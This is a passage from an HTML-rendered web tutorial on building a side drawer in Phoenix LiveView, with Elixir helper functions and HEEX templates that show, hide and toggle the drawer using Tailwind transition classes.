&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;button&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx-click&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;lbrace;JS.show(to:&lt;/span&gt; &quot;#drawer&quot;, display: &quot;flex&quot;)&amp;rbrace;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;.icon name&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&quot;hero-arrow-right&quot; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;button&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s walk through the CSS and Elixir code here. The first important change to our setup is to give the side drawer an &lt;code&gt;absolute&lt;/code&gt;-position with a &lt;code&gt;z-10&lt;/code&gt; index. This means that the side drawer will open &quot;over&quot; our content and our content div won&apos;t resize. You can leave this out if you prefer to resize your content, but be aware that this might squeeze your content too much in mobile views.&lt;/p&gt;
&lt;p&gt;Two more things to note: We gave our &lt;code&gt;container&lt;/code&gt;-element the &lt;code&gt;relative&lt;/code&gt;-position so that the &lt;code&gt;absolute&lt;/code&gt;-drawer positions itself relative to the container element. In practice, this means that the drawer will never extend beyond the container element.&lt;/p&gt;
&lt;p&gt;Next, we used &lt;code&gt;button&lt;/code&gt;-elements to wrap our icons. This is important for accessibility reasons because you can select and press the buttons using a keyboard whereas our icon &lt;code&gt;span&lt;/code&gt;-elements are not (easily) selectable or clickable. You can try it yourself by simply hitting &lt;code&gt;tab&lt;/code&gt; when you open the page. After one or two tabs, you have the open or hide button selected. If you press &lt;code&gt;space&lt;/code&gt; or &lt;code&gt;enter&lt;/code&gt;, it will open or close the drawer.&lt;/p&gt;
&lt;p&gt;Lastly, we want our &lt;code&gt;drawer&lt;/code&gt; to have &lt;code&gt;display: flex&lt;/code&gt; when we show it. LiveView adds the &lt;code&gt;display: block&lt;/code&gt; class by default, so we need to overwrite the default using the &lt;code&gt;display: &quot;flex&quot;&lt;/code&gt; option.&lt;/p&gt;
&lt;p&gt;And that&apos;s it. If you click the buttons, the side drawer will open and close. Yey! This is what it looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/gifs/drawer-wo-animation.gif&quot; alt=&quot;An gif that shows the sidedrawer animation&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As you can see, the &quot;transition&quot; is rather abrupt. Let&apos;s add some smooth transitions next.&lt;/p&gt;
&lt;h1&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#with-transition&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;with-transition&quot;&gt;&lt;/a&gt;With Transition&lt;/h1&gt;
&lt;p&gt;We can add our transitions directly to the &lt;code&gt;JS.show&lt;/code&gt; and &lt;code&gt;JS.hide&lt;/code&gt; calls. Both of them have a &lt;code&gt;transition&lt;/code&gt;-option which allows us to set 1) the transition class, 2) the start class and 3) the end class of the transition. To be honest, I don&apos;t know what any of this means, but it works, so I won&apos;t complain.&lt;/p&gt;
&lt;p&gt;We could add the transitions to our HEEX template directly, but to keep our template clean, let&apos;s create two helper functions in either our &lt;code&gt;core_components.ex&lt;/code&gt; file or the file of our LiveView. Here&apos;s what the helper functions look like:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# core_components.ex or your LiveView file&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;show_drawer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;selector&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;display&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;block&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;JS&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;show&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;JS&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;to: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;selector&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;display: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;display&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;transition: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;ease-out duration-150&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;-translate-x-full&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;translate-x-0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;time: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;150&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;hide_drawer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;selector&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;JS&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;hide&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;JS&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;to: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;selector&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;transition: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;ease-in duration-150&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;translate-x-0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;-translate-x-full&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;time: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;150&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The functions call the same &lt;code&gt;JS.show/2&lt;/code&gt; and &lt;code&gt;JS.hide/2&lt;/code&gt; as our buttons did, but they add a transition option.&lt;/p&gt;
&lt;p&gt;The first parameter of the transition option is the transition class that is added to the element before the transition begins. In our case, we added the &lt;code&gt;ease-in|ease-out duration-150&lt;/code&gt; classes. The &lt;code&gt;ease-in|ease-out&lt;/code&gt; class is the &lt;a href=&quot;https://tailwindcss.com/docs/transition-timing-function#controlling-the-easing-curve&quot;&gt;transition-timing-function&lt;/a&gt;. You can read more about these functions &lt;a href=&quot;https://www.joshwcomeau.com/animation/css-transitions/#timing-functions-2&quot;&gt;here&lt;/a&gt;. The second class that we add is the &lt;code&gt;duration-150&lt;/code&gt;-class. It defines the duration of the transition. You can change it to e.g. &lt;code&gt;duration-300&lt;/code&gt; and will see that the transition takes twice as long. Make sure to set the &lt;code&gt;time&lt;/code&gt;-option to the same duration value. Otherwise, LiveView will remove your transition class before the transition has been completed and the transition becomes choppy.&lt;/p&gt;
&lt;p&gt;The second and third parameters hold the start and end transition class. My understanding is that these classes define the start and end state of the element. For example, if we show the element, we transition from &lt;code&gt;transform: translateX(-100%)&lt;/code&gt; to &lt;code&gt;transform: translateX(0)&lt;/code&gt;. CSS needs these start and end classes to calculate the frames between the start and end state. Again, please consult &lt;a href=&quot;https://www.joshwcomeau.com/animation/css-transitions/#timing-functions-2&quot;&gt;this blog post&lt;/a&gt; which explains it much better than I ever could.&lt;/p&gt;
&lt;p&gt;Now, let&apos;s replace our &lt;code&gt;phx-click&lt;/code&gt;-attributes with the new helper functions:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;container&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;relative&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;drawer&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;z-10 absolute&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;drawer-content&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;w-60&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;button&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx-click&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;lbrace;hide_drawer(&lt;/span&gt;&quot;#drawer&quot;)&amp;rbrace;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;.icon name&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&quot;hero-arrow-left&quot; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;button&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;button&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx-click&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;lbrace;show_drawer(&lt;/span&gt;&quot;#drawer&quot;, &quot;flex&quot;)&amp;rbrace;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;.icon name&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&quot;hero-arrow-right&quot; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;button&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And with the transitions in place, this is what it looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/gifs/drawer-with-animation.gif&quot; alt=&quot;An gif that shows the sidedrawer animation&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#toggle-the-drawer&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;toggle-the-drawer&quot;&gt;&lt;/a&gt;Toggle the Drawer&lt;/h1&gt;
&lt;p&gt;If you prefer to have one button that shows and hides the drawer, you can use the &lt;a href=&quot;https://hexdocs.pm/phoenix_live_view/Phoenix.LiveView.JS.html#toggle/1&quot;&gt;JS.toggle/2&lt;/a&gt; function instead. Here&apos;s another helper function that uses the function instead of the &lt;code&gt;JS.show/2&lt;/code&gt; and &lt;code&gt;JS.hide/2&lt;/code&gt; functions.&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;toggle_drawer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;selector&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;display&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;JS&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;toggle&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;JS&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;to: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;selector&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;in: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;ease-out duration-150&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;-translate-x-full&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;translate-x-0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;out: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;ease-in duration-150&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;translate-x-0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;-translate-x-full&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;display: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;display&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;time: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;150&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And here&apos;s the HEEX template with a single button that toggles the drawer:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;container&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;relative&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: 